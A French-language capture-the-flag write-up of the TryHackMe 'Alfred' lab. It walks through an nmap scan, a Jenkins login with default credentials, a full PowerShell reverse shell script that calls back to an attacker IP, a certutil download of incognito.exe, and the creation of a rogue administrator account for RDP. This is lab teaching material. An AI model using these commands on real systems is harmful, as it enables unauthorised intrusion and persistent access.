Alfred – TryHackMe – Rédaction du manuel

Reading Time: ( Word Count: )

février 22, 2021
Nextdoorsec-course

Intro

Nous allons exploiter une mauvaise configuration commune sur un serveur d’automatisation largement utilisé (Jenkins) et obtenir un accès par le biais de jetons de fenêtres.

 

Enumération

 

Nmap scan

┌──(kali㉿kali)-[~] └─$ export IP=10.10.117.45 ┌──(kali㉿kali)-[~] └─$ nmap -p- -A -Pn -v $IP
ÉTAT DU PORT VERSION DU SERVICE 80/tcp open http Microsoft IIS httpd 7.5 | http-methods : | Méthodes prises en charge : OPTIONS TRACE GET HEAD POST |Méthodes potentiellement risquées : TRACE |_http-server-header : Microsoft-IIS/7.5 |Le site n'a pas de titre (text/html) : Le site n'a pas de titre (text/html). 3389/tcp ouvert tcpwrapped | ssl-cert : Subject : commonName=alfred | Émetteur : commonName=alfred | Type de clé publique : rsa | Clé publique bits : 2048 | Algorithme de signature : sha1WithRSAEncryption | Non valide avant : 2020-10-02T14:42:05 | Non valide après : 2021-04-03T14:42:05 | MD5 : fdb2 cd17 fad1 160d 06bc c1d8 31f3 7636 |_SHA-1 : 6577 409f 2b1a 3e36 7ca7 4449 57f2 98c1 8750 3a3e |Date : 2021-02-06T18:18:26+00:00 ; -1s à partir de l'heure du scanner. 8080/tcp open http Jetty 9.4.z-SNAPSHOT |Le site n'est pas disponible en français : favicon inconnu MD5 : 23E8C7BD78E8CD826C5A6073B15068B1 | http-robots.txt : 1 entrée non autorisée |_/ |_http-server-header : Jetty(9.4.z-SNAPSHOT) |Le site n'a pas de titre (text/html;charset=utf-8) : Le site n'a pas de titre (text/html;charset=utf-8).

Rien d’intéressant sur le port 80, un port RDP ouvert sur 3389 et un autre serveur web http sur le port 8080 avec un formulaire de connexion. Essayer de se connecter avec admin:admin réussit.

Exploitation

Exécution de code à distance

Après avoir vérifié l’outil, j’ai trouvé un moyen d’exécuter des commandes sur le système sous-jacent :

1. Cliquez sur « projet » sur la page d’accueil :

 

2. « Configurer » sur le côté gauche :

 

2.1 Configurez votre script reverse shell, démarrez un listener et un serveur http :

┌──(kali㉿kali)-[~] └─$ cat revsh.ps1 $client = New-Object System.Net.Sockets.TCPClient('10.8.152.223',443) ; $stream = $client.GetStream() ; [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) ; $sendback = (iex $data 2>&1 | Out-String ) ; $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' ; $sendbyte = ([text .encoding]::ASCII).GetBytes($sendback2) ; $stream.Write($sendbyte,0,$sendbyte.Length) ; $stream.Flush() ; } $client.Close() ; ┌──(kali㉿kali)-[~] └─$ sudo nc -nlvp 443 ┌──(kali㉿kali)-[~] └─$ python3 -m http.server 5300

 

3. Faites défiler vers le bas et entrez votre commande dans le champ « Commande » et enregistrez :

 

4. Après avoir cliqué sur « Build », vous devriez obtenir une coquille inversée :

écoute sur [any] 443 ... se connecter à [10 .8.152.221] depuis (INCONNU) [10 .10.117.45] 50077 PS C:\Program Files (x86)\Jenkins\workspace\project> whoami alfred\bruce PS C:\Program Files (x86)\Jenkins\workspace\project>

L’escalade des privilèges

PS > whoami /priv
INFORMATIONS SUR LES PRIVILÈGES ---------------------- Privilège Nom Description État =============================== ========================================= ======== SeDebugPrivilege Déboguer les programmes Activé SeImpersonatePrivilege Se faire passer pour un client après authentification Activé SeCreateGlobalPrivilege Créer des objets globaux Activé

SeDebugPrivilege & SeCreateGlobalPrivilege sont activés pour bruce. Ces jetons nous permettront d’usurper l’identité d’un autre utilisateur ou même d’en créer un et de lui attribuer des privilèges administratifs.

 

Nous devrons télécharger un binaire appelé incognito.exe pour que cela fonctionne. Nous pouvons ensuite le transférer à partir d’un serveur http local.

┌──(kali㉿kali)-[~] └─$ python3 -m http.server 5300
PS > certutil.exe -urlcache -split -f "http://10.8.152.221:5300/incognito.exe" incognito.exe

Maintenant que nous avons téléchargé le binaire sur la machine cible, nous pouvons l’utiliser pour ajouter un utilisateur.

PS > ./incognito.exe add_user nextdoorsec passwordd
PS > ./incognito.exe add_localgroup_user Administrateurs nextdoorsec ┌──(kali㉿kali)-[~] └─$ rdesktop -u nextdoorsec -p passwordd $IP

Nous avons ajouté un utilisateur nommé « nextdoorsec » avec un mot de passe « passwordd » et l’avons ensuite assigné au groupe « Administrators ». Pour le tester, vous pouvez vous connecter au port RDP ouvert.

Aydan Arabadzha

Aydan Arabadzha

Author

Aydan, a cybersecurity ace and AI visionary, thrives on the frontlines of offensive security. His passion birthed NextdoorSec, a groundbreaking cybersecurity firm. A relentless pioneer, Aydan is persistently pushing boundaries, shaping the future of the digital world one byte at a time.

Other interesting articles

« Apple neutralise les vulnérabilités exploitées : Une mise à jour complète »

Apple a mis en place des améliorations de sécurité pour neutraliser les vulnérabilités de type "zero-day" ...

« Risques invisibles : Comment la clé volée de Microsoft pourrait débloquer plus de choses que prévu »

Le vol présumé d'une clé de sécurité de Microsoft pourrait avoir permis à des espions liés à Pékin de violer bien ...

« La performance de l’IA de ChatGPT : Au-delà du test de Turing ou pas tout à fait ? »

ChatGPT, un chatbot d'intelligence artificielle d'OpenAI, a fait des vagues dans le paysage technologique grâce à ...

Test DNS Secure : Sécurisez votre voyage en ligne

Welcome to the fast-paced digital era, where cybersecurity is not just a buzzword but a critical aspect of our ...
0 commentaires

Soumettre un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *